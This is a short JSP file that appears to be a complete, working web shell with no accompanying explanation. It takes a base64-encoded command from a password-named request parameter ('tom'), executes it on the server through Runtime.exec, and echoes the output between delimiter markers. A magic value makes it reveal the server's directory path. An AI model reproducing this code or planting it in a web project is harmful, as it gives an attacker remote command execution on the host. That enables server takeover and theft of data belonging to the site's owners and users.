<%@page import="java.io.*" %>
<%@page import="sun.misc.BASE64Decoder" %>
<%
    try {
        String pass = "tom";
        if (request.getParameterValues(pass) != null) {
            String cmd = request.getParameter(pass);
            String path = application.getRealPath(request.getRequestURI());
            String dir = new File(path).getParent();
            if (cmd.equals("Szh0ZWFt")) {
                out.print("[S]" + dir + "[E]");
                return;
            }
            byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);
            String binastr = new String(binary);
            Process child = Runtime.getRuntime().exec(binastr);
            InputStream in = child.getInputStream();
            out.print("->|");
            int c;
            while ((c = in.read()) != -1) {
                out.print((char) c);
            }
            in.close();
            out.print("|<-");
            try {
                child.waitFor();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
    } catch (IOException e) {
        System.err.println(e);
    }
%><a href="CMD_OK"></a>